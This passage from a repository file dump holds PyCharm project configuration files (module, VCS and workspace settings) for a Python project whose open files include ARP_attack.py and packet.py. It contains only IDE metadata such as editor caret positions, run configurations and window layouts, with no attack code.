    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<module type=\"PYTHON_MODULE\" version=\"4\">\n  <component name=\"NewModuleRootManager\">\n    <content url=\"file://$MODULE_DIR$\" />\n    <orderEntry type=\"jdk\" jdkName=\"Python 2.7.10 (/System/Library/Frameworks/Python.framework/Versions/2.7/bin/python2.7)\" jdkType=\"Python SDK\" />\n    <orderEntry type=\"sourceFolder\" forTests=\"false\" />\n  </component>\n  <component name=\"TestRunnerService\">\n    <option name=\"PROJECT_TEST_RUNNER\" value=\"Unittests\" />\n  </component>\n</module>"
  },
  {
    "path": "macOS&&LinuxPlatform/.idea/misc.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n  <component name=\"ProjectRootManager\" version=\"2\" project-jdk-name=\"Python 2.7.10 (/System/Library/Frameworks/Python.framework/Versions/2.7/bin/python2.7)\" project-jdk-type=\"Python SDK\" />\n</project>"
  },
  {
    "path": "macOS&&LinuxPlatform/.idea/modules.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n  <component name=\"ProjectModuleManager\">\n    <modules>\n      <module fileurl=\"file://$PROJECT_DIR$/.idea/macOS&amp;&amp;LinuxPlatform.iml\" filepath=\"$PROJECT_DIR$/.idea/macOS&amp;&amp;LinuxPlatform.iml\" />\n    </modules>\n  </component>\n</project>"
  },
  {
    "path": "macOS&&LinuxPlatform/.idea/vcs.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n  <component name=\"VcsDirectoryMappings\">\n    <mapping directory=\"$PROJECT_DIR$/..\" vcs=\"Git\" />\n  </component>\n</project>"
  },
  {
    "path": "macOS&&LinuxPlatform/.idea/workspace.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n  <component name=\"ChangeListManager\">\n    <list default=\"true\" id=\"d31cb427-54db-4454-a927-11bfc194e744\" name=\"Default\" comment=\"\">\n      <change type=\"MODIFICATION\" beforePath=\"$PROJECT_DIR$/.idea/workspace.xml\" afterPath=\"$PROJECT_DIR$/.idea/workspace.xml\" />\n    </list>\n    <option name=\"EXCLUDED_CONVERTED_TO_IGNORED\" value=\"true\" />\n    <option name=\"TRACKING_ENABLED\" value=\"true\" />\n    <option name=\"SHOW_DIALOG\" value=\"false\" />\n    <option name=\"HIGHLIGHT_CONFLICTS\" value=\"true\" />\n    <option name=\"HIGHLIGHT_NON_ACTIVE_CHANGELIST\" value=\"false\" />\n    <option name=\"LAST_RESOLUTION\" value=\"IGNORE\" />\n  </component>\n  <component name=\"CoverageDataManager\">\n    <SUITE FILE_PATH=\"coverage/macOS__LinuxPlatform$start.coverage\" NAME=\"start Coverage Results\" MODIFIED=\"1491559777671\" SOURCE_PROVIDER=\"com.intellij.coverage.DefaultCoverageFileProvider\" RUNNER=\"coverage.py\" COVERAGE_BY_TEST_ENABLED=\"true\" COVERAGE_TRACING_ENABLED=\"false\" WORKING_DIRECTORY=\"$PROJECT_DIR$\" />\n  </component>\n  <component name=\"ExecutionTargetManager\" SELECTED_TARGET=\"default_target\" />\n  <component name=\"FileEditorManager\">\n    <leaf SIDE_TABS_SIZE_LIMIT_KEY=\"300\">\n      <file leaf-file-name=\"ARP_attack.py\" pinned=\"false\" current-in-tab=\"true\">\n        <entry file=\"file://$PROJECT_DIR$/ARP_attack.py\">\n          <provider selected=\"true\" editor-type-id=\"text-editor\">\n            <state relative-caret-position=\"76\">\n              <caret line=\"4\" column=\"13\" lean-forward=\"false\" selection-start-line=\"4\" selection-start-column=\"13\" selection-end-line=\"4\" selection-end-column=\"13\" />\n              <folding />\n            </state>\n          </provider>\n        </entry>\n      </file>\n      <file leaf-file-name=\"multi_process_test.py\" pinned=\"false\" current-in-tab=\"false\">\n        <entry file=\"file://$PROJECT_DIR$/multi_process_test.py\">\n          <provider selected=\"true\" editor-type-id=\"text-editor\">\n            <state relative-caret-position=\"133\">\n              <caret line=\"13\" column=\"15\" lean-forward=\"false\" selection-start-line=\"13\" selection-start-column=\"15\" selection-end-line=\"13\" selection-end-column=\"15\" />\n              <folding>\n                <element signature=\"e#61#70#0\" expanded=\"true\" />\n              </folding>\n            </state>\n          </provider>\n        </entry>\n      </file>\n      <file leaf-file-name=\"packet.py\" pinned=\"false\" current-in-tab=\"false\">\n        <entry file=\"file://$PROJECT_DIR$/packet.py\">\n          <provider selected=\"true\" editor-type-id=\"text-editor\">\n            <state relative-caret-position=\"266\">\n              <caret line=\"16\" column=\"0\" lean-forward=\"false\" selection-start-line=\"16\" selection-start-column=\"0\" selection-end-line=\"16\" selection-end-column=\"0\" />\n              <folding>\n                <element signature=\"e#17#43#0\" expanded=\"true\" />\n              </folding>\n            </state>\n          </provider>\n        </entry>\n      </file>\n      <file leaf-file-name=\"packet_investigate.py\" pinned=\"false\" current-in-tab=\"false\">\n        <entry file=\"file://$PROJECT_DIR$/packet_investigate.py\">\n          <provider selected=\"true\" editor-type-id=\"text-editor\">\n            <state relative-caret-position=\"38\">\n              <caret line=\"2\" column=\"21\" lean-forward=\"false\" selection-start-line=\"2\" selection-start-column=\"21\" selection-end-line=\"2\" selection-end-column=\"21\" />\n              <folding>\n                <element signature=\"e#88#101#0\" expanded=\"true\" />\n              </folding>\n            </state>\n          </provider>\n        </entry>\n      </file>\n      <file leaf-file-name=\"start.py\" pinned=\"false\" current-in-tab=\"false\">\n        <entry file=\"file://$PROJECT_DIR$/start.py\">\n          <provider selected=\"true\" editor-type-id=\"text-editor\">\n            <state relative-caret-position=\"418\">\n              <caret line=\"29\" column=\"11\" lean-forward=\"false\" selection-start-line=\"29\" selection-start-column=\"11\" selection-end-line=\"29\" selection-end-column=\"11\" />\n              <folding>\n                <element signature=\"e#276#289#0\" expanded=\"true\" />\n              </folding>\n            </state>\n          </provider>\n        </entry>\n      </file>\n      <file leaf-file-name=\"tools.py\" pinned=\"false\" current-in-tab=\"false\">\n        <entry file=\"file://$PROJECT_DIR$/tools.py\">\n          <provider selected=\"true\" editor-type-id=\"text-editor\">\n            <state relative-caret-position=\"304\">\n              <caret line=\"23\" column=\"19\" lean-forward=\"false\" selection-start-line=\"23\" selection-start-column=\"19\" selection-end-line=\"23\" selection-end-column=\"19\" />\n              <folding>\n                <element signature=\"e#18#29#0\" expanded=\"true\" />\n              </folding>\n            </state>\n          </provider>\n        </entry>\n      </file>\n      <file leaf-file-name=\"utils.py\" pinned=\"false\" current-in-tab=\"false\">\n        <entry file=\"file://$PROJECT_DIR$/utils.py\">\n          <provider selected=\"true\" editor-type-id=\"text-editor\">\n            <state relative-caret-position=\"95\">\n              <caret line=\"5\" column=\"33\" lean-forward=\"false\" selection-start-line=\"5\" selection-start-column=\"33\" selection-end-line=\"5\" selection-end-column=\"33\" />\n              <folding />\n            </state>\n          </provider>\n        </entry>\n      </file>\n    </leaf>\n  </component>\n  <component name=\"FindInProjectRecents\">\n    <findStrings>\n      <find>print</find>\n    </findStrings>\n  </component>\n  <component name=\"Git.Settings\">\n    <option name=\"RECENT_GIT_ROOT_PATH\" value=\"$PROJECT_DIR$/..\" />\n  </component>\n  <component name=\"IdeDocumentHistory\">\n    <option name=\"CHANGED_PATHS\">\n      <list>\n        <option value=\"$PROJECT_DIR$/ARPattack.py\" />\n        <option value=\"$PROJECT_DIR$/ARPspoof.py\" />\n        <option value=\"$PROJECT_DIR$/ARP_attack.py\" />\n        <option value=\"$PROJECT_DIR$/packet.py\" />\n        <option value=\"$PROJECT_DIR$/tools.py\" />\n        <option value=\"$PROJECT_DIR$/multi_process_test.py\" />\n        <option value=\"$PROJECT_DIR$/packet_investigate.py\" />\n        <option value=\"$PROJECT_DIR$/README.md\" />\n      </list>\n    </option>\n  </component>\n  <component name=\"JsBuildToolGruntFileManager\" detection-done=\"true\" sorting=\"DEFINITION_ORDER\" />\n  <component name=\"JsBuildToolPackageJson\" detection-done=\"true\" sorting=\"DEFINITION_ORDER\" />\n  <component name=\"JsGulpfileManager\">\n    <detection-done>true</detection-done>\n    <sorting>DEFINITION_ORDER</sorting>\n  </component>\n  <component name=\"ProjectFrameBounds\">\n    <option name=\"width\" value=\"1680\" />\n    <option name=\"height\" value=\"1050\" />\n  </component>\n  <component name=\"ProjectLevelVcsManager\" settingsEditedManually=\"true\" />\n  <component name=\"ProjectView\">\n    <navigator currentView=\"ProjectPane\" proportions=\"\" version=\"1\">\n      <flattenPackages />\n      <showMembers />\n      <showModules />\n      <showLibraryContents />\n      <hideEmptyPackages />\n      <abbreviatePackageNames />\n      <autoscrollToSource />\n      <autoscrollFromSource />\n      <sortByType />\n      <manualOrder />\n      <foldersAlwaysOnTop value=\"true\" />\n    </navigator>\n    <panes>\n      <pane id=\"Scratches\" />\n      <pane id=\"ProjectPane\">\n        <subPane>\n          <PATH>\n            <PATH_ELEMENT>\n              <option name=\"myItemId\" value=\"macOS&amp;&amp;LinuxPlatform\" />\n              <option name=\"myItemType\" value=\"com.intellij.ide.projectView.impl.nodes.ProjectViewProjectNode\" />\n            </PATH_ELEMENT>\n            <PATH_ELEMENT>\n              <option name=\"myItemId\" value=\"macOS&amp;&amp;LinuxPlatform\" />\n              <option name=\"myItemType\" value=\"com.intellij.ide.projectView.impl.nodes.PsiDirectoryNode\" />\n            </PATH_ELEMENT>\n          </PATH>\n        </subPane>\n      </pane>\n      <pane id=\"Scope\" />\n    </panes>\n  </component>\n  <component name=\"PropertiesComponent\">\n    <property name=\"WebServerToolWindowFactoryState\" value=\"false\" />\n    <property name=\"FullScreen\" value=\"true\" />\n    <property name=\"settings.editor.selected.configurable\" value=\"com.jetbrains.python.configuration.PyActiveSdkModuleConfigurable\" />\n    <property name=\"last_opened_file_path\" value=\"$PROJECT_DIR$\" />\n  </component>\n  <component name=\"PyConsoleOptionsProvider\">\n    <option name=\"myPythonConsoleState\">\n      <console-settings module-name=\"macOS&amp;&amp;LinuxPlatform\" sdk-home=\"/Library/Frameworks/Python.framework/Versions/3.6/bin/python3.6\">\n        <option name=\"mySdkHome\" value=\"/Library/Frameworks/Python.framework/Versions/3.6/bin/python3.6\" />\n        <option name=\"myModuleName\" value=\"macOS&amp;&amp;LinuxPlatform\" />\n      </console-settings>\n    </option>\n  </component>\n  <component name=\"RunDashboard\">\n    <option name=\"ruleStates\">\n      <list>\n        <RuleState>\n          <option name=\"name\" value=\"ConfigurationTypeDashboardGroupingRule\" />\n        </RuleState>\n        <RuleState>\n          <option name=\"name\" value=\"StatusDashboardGroupingRule\" />\n        </RuleState>\n      </list>\n    </option>\n  </component>\n  <component name=\"RunManager\" selected=\"Python.start\">\n    <configuration default=\"false\" name=\"start\" type=\"PythonConfigurationType\" factoryName=\"Python\" temporary=\"true\">\n      <option name=\"INTERPRETER_OPTIONS\" value=\"\" />\n      <option name=\"PARENT_ENVS\" value=\"true\" />\n      <envs>\n        <env name=\"PYTHONUNBUFFERED\" value=\"1\" />\n      </envs>\n      <option name=\"SDK_HOME\" value=\"\" />\n      <option name=\"WORKING_DIRECTORY\" value=\"$PROJECT_DIR$\" />\n      <option name=\"IS_MODULE_SDK\" value=\"true\" />\n      <option name=\"ADD_CONTENT_ROOTS\" value=\"true\" />\n      <option name=\"ADD_SOURCE_ROOTS\" value=\"true\" />\n      <module name=\"macOS&amp;&amp;LinuxPlatform\" />\n      <EXTENSION ID=\"PythonCoverageRunConfigurationExtension\" enabled=\"false\" sample_coverage=\"true\" runner=\"coverage.py\" />\n      <option name=\"SCRIPT_NAME\" value=\"$PROJECT_DIR$/start.py\" />\n      <option name=\"PARAMETERS\" value=\"\" />\n      <option name=\"SHOW_COMMAND_LINE\" value=\"false\" />\n      <option name=\"EMULATE_TERMINAL\" value=\"false\" />\n      <method />\n    </configuration>\n    <configuration default=\"true\" type=\"DjangoTestsConfigurationType\" factoryName=\"Django tests\">\n      <option name=\"INTERPRETER_OPTIONS\" value=\"\" />\n      <option name=\"PARENT_ENVS\" value=\"true\" />\n      <envs>\n        <env name=\"PYTHONUNBUFFERED\" value=\"1\" />\n      </envs>\n      <option name=\"SDK_HOME\" value=\"\" />\n      <option name=\"WORKING_DIRECTORY\" value=\"\" />\n      <option name=\"IS_MODULE_SDK\" value=\"false\" />\n      <option name=\"ADD_CONTENT_ROOTS\" value=\"true\" />\n      <option name=\"ADD_SOURCE_ROOTS\" value=\"true\" />\n      <module name=\"macOS&amp;&amp;LinuxPlatform\" />\n      <EXTENSION ID=\"PythonCoverageRunConfigurationExtension\" enabled=\"false\" sample_coverage=\"true\" runner=\"coverage.py\" />\n      <option name=\"TARGET\" value=\"\" />\n      <option name=\"SETTINGS_FILE\" value=\"\" />\n      <option name=\"CUSTOM_SETTINGS\" value=\"false\" />\n      <option name=\"USE_OPTIONS\" value=\"false\" />\n      <option name=\"OPTIONS\" value=\"\" />\n      <method />\n    </configuration>\n    <configuration default=\"true\" type=\"JavaScriptTestRunnerJest\" factoryName=\"Jest\">\n      <node-interpreter value=\"project\" />\n      <working-dir value=\"\" />\n      <envs />\n      <scope-kind value=\"ALL\" />\n      <method />\n    </configuration>\n    <configuration default=\"true\" type=\"JavaScriptTestRunnerProtractor\" factoryName=\"Protractor\">\n      <config-file value=\"\" />\n      <node-interpreter value=\"project\" />\n      <envs />\n      <method />\n    </configuration>\n    <configuration default=\"true\" type=\"JavascriptDebugType\" factoryName=\"JavaScript Debug\">\n      <method />\n    </configuration>\n    <configuration default=\"true\" type=\"PyBehaveRunConfigurationType\" factoryName=\"Behave\">\n      <option name=\"INTERPRETER_OPTIONS\" value=\"\" />\n      <option name=\"PARENT_ENVS\" value=\"true\" />\n      <envs />\n      <option name=\"SDK_HOME\" value=\"\" />\n      <option name=\"WORKING_DIRECTORY\" value=\"\" />\n      <option name=\"IS_MODULE_SDK\" value=\"false\" />\n      <option name=\"ADD_CONTENT_ROOTS\" value=\"true\" />\n      <option name=\"ADD_SOURCE_ROOTS\" value=\"true\" />\n      <module name=\"macOS&amp;&amp;LinuxPlatform\" />\n      <EXTENSION ID=\"PythonCoverageRunConfigurationExtension\" enabled=\"false\" sample_coverage=\"true\" runner=\"coverage.py\" />\n      <option name=\"ADDITIONAL_ARGS\" value=\"\" />\n      <method />\n    </configuration>\n    <configuration default=\"true\" type=\"PyLettuceRunConfigurationType\" factoryName=\"Lettuce\">\n      <option name=\"INTERPRETER_OPTIONS\" value=\"\" />\n      <option name=\"PARENT_ENVS\" value=\"true\" />\n      <envs />\n      <option name=\"SDK_HOME\" value=\"\" />\n      <option name=\"WORKING_DIRECTORY\" value=\"\" />\n      <option name=\"IS_MODULE_SDK\" value=\"false\" />\n      <option name=\"ADD_CONTENT_ROOTS\" value=\"true\" />\n      <option name=\"ADD_SOURCE_ROOTS\" value=\"true\" />\n      <module name=\"macOS&amp;&amp;LinuxPlatform\" />\n      <EXTENSION ID=\"PythonCoverageRunConfigurationExtension\" enabled=\"false\" sample_coverage=\"true\" runner=\"coverage.py\" />\n      <option name=\"ADDITIONAL_ARGS\" value=\"\" />\n      <method />\n    </configuration>\n    <configuration default=\"true\" type=\"PythonConfigurationType\" factoryName=\"Python\">\n      <option name=\"INTERPRETER_OPTIONS\" value=\"\" />\n      <option name=\"PARENT_ENVS\" value=\"true\" />\n      <envs>\n        <env name=\"PYTHONUNBUFFERED\" value=\"1\" />\n      </envs>\n      <option name=\"SDK_HOME\" value=\"\" />\n      <option name=\"WORKING_DIRECTORY\" value=\"\" />\n      <option name=\"IS_MODULE_SDK\" value=\"false\" />\n      <option name=\"ADD_CONTENT_ROOTS\" value=\"true\" />\n      <option name=\"ADD_SOURCE_ROOTS\" value=\"true\" />\n      <module name=\"macOS&amp;&amp;LinuxPlatform\" />\n      <EXTENSION ID=\"PythonCoverageRunConfigurationExtension\" enabled=\"false\" sample_coverage=\"true\" runner=\"coverage.py\" />\n      <option name=\"SCRIPT_NAME\" value=\"\" />\n      <option name=\"PARAMETERS\" value=\"\" />\n      <option name=\"SHOW_COMMAND_LINE\" value=\"false\" />\n      <option name=\"EMULATE_TERMINAL\" value=\"false\" />\n      <method />\n    </configuration>\n    <configuration default=\"true\" type=\"Tox\" factoryName=\"Tox\">\n      <option name=\"INTERPRETER_OPTIONS\" value=\"\" />\n      <option name=\"PARENT_ENVS\" value=\"true\" />\n      <envs />\n      <option name=\"SDK_HOME\" value=\"\" />\n      <option name=\"WORKING_DIRECTORY\" value=\"\" />\n      <option name=\"IS_MODULE_SDK\" value=\"false\" />\n      <option name=\"ADD_CONTENT_ROOTS\" value=\"true\" />\n      <option name=\"ADD_SOURCE_ROOTS\" value=\"true\" />\n      <EXTENSION ID=\"PythonCoverageRunConfigurationExtension\" enabled=\"false\" sample_coverage=\"true\" runner=\"coverage.py\" />\n      <module name=\"macOS&amp;&amp;LinuxPlatform\" />\n      <method />\n    </configuration>\n    <configuration default=\"true\" type=\"js.build_tools.gulp\" factoryName=\"Gulp.js\">\n      <node-interpreter>project</node-interpreter>\n      <node-options />\n      <gulpfile />\n      <tasks />\n      <arguments />\n      <envs />\n      <method />\n    </configuration>\n    <configuration default=\"true\" type=\"js.build_tools.npm\" factoryName=\"npm\">\n      <command value=\"run\" />\n      <scripts />\n      <node-interpreter value=\"project\" />\n      <envs />\n      <method />\n    </configuration>\n    <configuration default=\"true\" type=\"tests\" factoryName=\"Doctests\">\n      <option name=\"INTERPRETER_OPTIONS\" value=\"\" />\n      <option name=\"PARENT_ENVS\" value=\"true\" />\n      <envs />\n      <option name=\"SDK_HOME\" value=\"\" />\n      <option name=\"WORKING_DIRECTORY\" value=\"\" />\n      <option name=\"IS_MODULE_SDK\" value=\"false\" />\n      <option name=\"ADD_CONTENT_ROOTS\" value=\"true\" />\n      <option name=\"ADD_SOURCE_ROOTS\" value=\"true\" />\n      <module name=\"macOS&amp;&amp;LinuxPlatform\" />\n      <EXTENSION ID=\"PythonCoverageRunConfigurationExtension\" enabled=\"false\" sample_coverage=\"true\" runner=\"coverage.py\" />\n      <option name=\"SCRIPT_NAME\" value=\"\" />\n      <option name=\"CLASS_NAME\" value=\"\" />\n      <option name=\"METHOD_NAME\" value=\"\" />\n      <option name=\"FOLDER_NAME\" value=\"\" />\n      <option name=\"TEST_TYPE\" value=\"TEST_SCRIPT\" />\n      <option name=\"PATTERN\" value=\"\" />\n      <option name=\"USE_PATTERN\" value=\"false\" />\n      <method />\n    </configuration>\n    <configuration default=\"true\" type=\"tests\" factoryName=\"Unittests\">\n      <option name=\"INTERPRETER_OPTIONS\" value=\"\" />\n      <option name=\"PARENT_ENVS\" value=\"true\" />\n      <envs />\n      <option name=\"SDK_HOME\" value=\"\" />\n      <option name=\"WORKING_DIRECTORY\" value=\"\" />\n      <option name=\"IS_MODULE_SDK\" value=\"false\" />\n      <option name=\"ADD_CONTENT_ROOTS\" value=\"true\" />\n      <option name=\"ADD_SOURCE_ROOTS\" value=\"true\" />\n      <module name=\"macOS&amp;&amp;LinuxPlatform\" />\n      <EXTENSION ID=\"PythonCoverageRunConfigurationExtension\" enabled=\"false\" sample_coverage=\"true\" runner=\"coverage.py\" />\n      <option name=\"_new_additionalArguments\" value=\"&quot;&quot;\" />\n      <option name=\"_new_target\" value=\"&quot;.&quot;\" />\n      <option name=\"_new_targetType\" value=\"&quot;PATH&quot;\" />\n      <method />\n    </configuration>\n    <list size=\"1\">\n      <item index=\"0\" class=\"java.lang.String\" itemvalue=\"Python.start\" />\n    </list>\n    <recent_temporary>\n      <list size=\"1\">\n        <item index=\"0\" class=\"java.lang.String\" itemvalue=\"Python.start\" />\n      </list>\n    </recent_temporary>\n  </component>\n  <component name=\"ShelveChangesManager\" show_recycled=\"false\">\n    <option name=\"remove_strategy\" value=\"false\" />\n  </component>\n  <component name=\"TaskManager\">\n    <task active=\"true\" id=\"Default\" summary=\"Default task\">\n      <changelist id=\"d31cb427-54db-4454-a927-11bfc194e744\" name=\"Default\" comment=\"\" />\n      <created>1488257873655</created>\n      <option name=\"number\" value=\"Default\" />\n      <option name=\"presentableId\" value=\"Default\" />\n      <updated>1488257873655</updated>\n    </task>\n    <servers />\n  </component>\n  <component name=\"ToolWindowManager\">\n    <frame x=\"0\" y=\"0\" width=\"1680\" height=\"1050\" extended-state=\"0\" />\n    <editor active=\"true\" />\n    <layout>\n      <window_info id=\"Project\" active=\"false\" anchor=\"left\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"true\" show_stripe_button=\"true\" weight=\"0.26495728\" sideWeight=\"0.5\" order=\"0\" side_tool=\"false\" content_ui=\"combo\" />\n      <window_info id=\"TODO\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.33\" sideWeight=\"0.5\" order=\"6\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Event Log\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.32959184\" sideWeight=\"0.5\" order=\"11\" side_tool=\"true\" content_ui=\"tabs\" />\n      <window_info id=\"Database\" active=\"false\" anchor=\"right\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.33\" sideWeight=\"0.5\" order=\"3\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Version Control\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.33\" sideWeight=\"0.5\" order=\"8\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Python Console\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.33\" sideWeight=\"0.5\" order=\"9\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Run\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.32857144\" sideWeight=\"0.5\" order=\"2\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Structure\" active=\"false\" anchor=\"left\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.25\" sideWeight=\"0.5\" order=\"1\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Terminal\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.33\" sideWeight=\"0.5\" order=\"10\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Favorites\" active=\"false\" anchor=\"left\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.33\" sideWeight=\"0.5\" order=\"2\" side_tool=\"true\" content_ui=\"tabs\" />\n      <window_info id=\"Debug\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.4\" sideWeight=\"0.5\" order=\"3\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Data View\" active=\"false\" anchor=\"right\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.33\" sideWeight=\"0.5\" order=\"4\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Cvs\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.25\" sideWeight=\"0.5\" order=\"4\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Message\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.33\" sideWeight=\"0.5\" order=\"0\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Commander\" active=\"false\" anchor=\"right\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.4\" sideWeight=\"0.5\" order=\"0\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Run Dashboard\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.33\" sideWeight=\"0.5\" order=\"7\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Inspection\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.4\" sideWeight=\"0.5\" order=\"5\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Hierarchy\" active=\"false\" anchor=\"right\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.25\" sideWeight=\"0.5\" order=\"2\" side_tool=\"false\" content_ui=\"combo\" />\n      <window_info id=\"Find\" active=\"false\" anchor=\"bottom\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.33\" sideWeight=\"0.5\" order=\"1\" side_tool=\"false\" content_ui=\"tabs\" />\n      <window_info id=\"Ant Build\" active=\"false\" anchor=\"right\" auto_hide=\"false\" internal_type=\"DOCKED\" type=\"DOCKED\" visible=\"false\" show_stripe_button=\"true\" weight=\"0.25\" sideWeight=\"0.5\" order=\"1\" side_tool=\"false\" content_ui=\"tabs\" />\n    </layout>\n  </component>\n  <component name=\"TypeScriptGeneratedFilesManager\">\n    <option name=\"processedProjectFiles\" value=\"true\" />\n  </component>\n  <component name=\"VcsContentAnnotationSettings\">\n    <option name=\"myLimit\" value=\"2678400000\" />\n  </component>\n  <component name=\"XDebuggerManager\">\n    <breakpoint-manager />\n    <watches-manager />\n  </component>\n  <component name=\"editorHistoryManager\">\n    <entry file=\"file://$PROJECT_DIR$/packet.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"266\">\n          <caret line=\"16\" column=\"0\" lean-forward=\"false\" selection-start-line=\"16\" selection-start-column=\"0\" selection-end-line=\"16\" selection-end-column=\"0\" />\n          <folding>\n            <element signature=\"e#17#43#0\" expanded=\"true\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/packet_investigate.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"38\">\n          <caret line=\"2\" column=\"21\" lean-forward=\"false\" selection-start-line=\"2\" selection-start-column=\"21\" selection-end-line=\"2\" selection-end-column=\"21\" />\n          <folding>\n            <element signature=\"e#88#101#0\" expanded=\"true\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/start.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"418\">\n          <caret line=\"29\" column=\"11\" lean-forward=\"true\" selection-start-line=\"29\" selection-start-column=\"11\" selection-end-line=\"29\" selection-end-column=\"11\" />\n          <folding>\n            <element signature=\"e#276#289#0\" expanded=\"true\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/tools.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"304\">\n          <caret line=\"23\" column=\"19\" lean-forward=\"false\" selection-start-line=\"23\" selection-start-column=\"19\" selection-end-line=\"23\" selection-end-column=\"19\" />\n          <folding>\n            <element signature=\"e#18#29#0\" expanded=\"true\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/utils.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"95\">\n          <caret line=\"5\" column=\"33\" lean-forward=\"false\" selection-start-line=\"5\" selection-start-column=\"33\" selection-end-line=\"5\" selection-end-column=\"33\" />\n          <folding />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/ARP_attack.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"475\">\n          <caret line=\"30\" column=\"3\" lean-forward=\"true\" selection-start-line=\"30\" selection-start-column=\"3\" selection-end-line=\"30\" selection-end-column=\"3\" />\n          <folding />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/configure.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"0\">\n          <caret line=\"0\" column=\"0\" lean-forward=\"false\" selection-start-line=\"0\" selection-start-column=\"0\" selection-end-line=\"0\" selection-end-column=\"0\" />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/multi_process_test.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"95\">\n          <caret line=\"11\" column=\"0\" lean-forward=\"true\" selection-start-line=\"11\" selection-start-column=\"0\" selection-end-line=\"11\" selection-end-column=\"0\" />\n          <folding>\n            <element signature=\"e#61#70#0\" expanded=\"true\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/packet.py\">\n      <provider selected=\"true\" 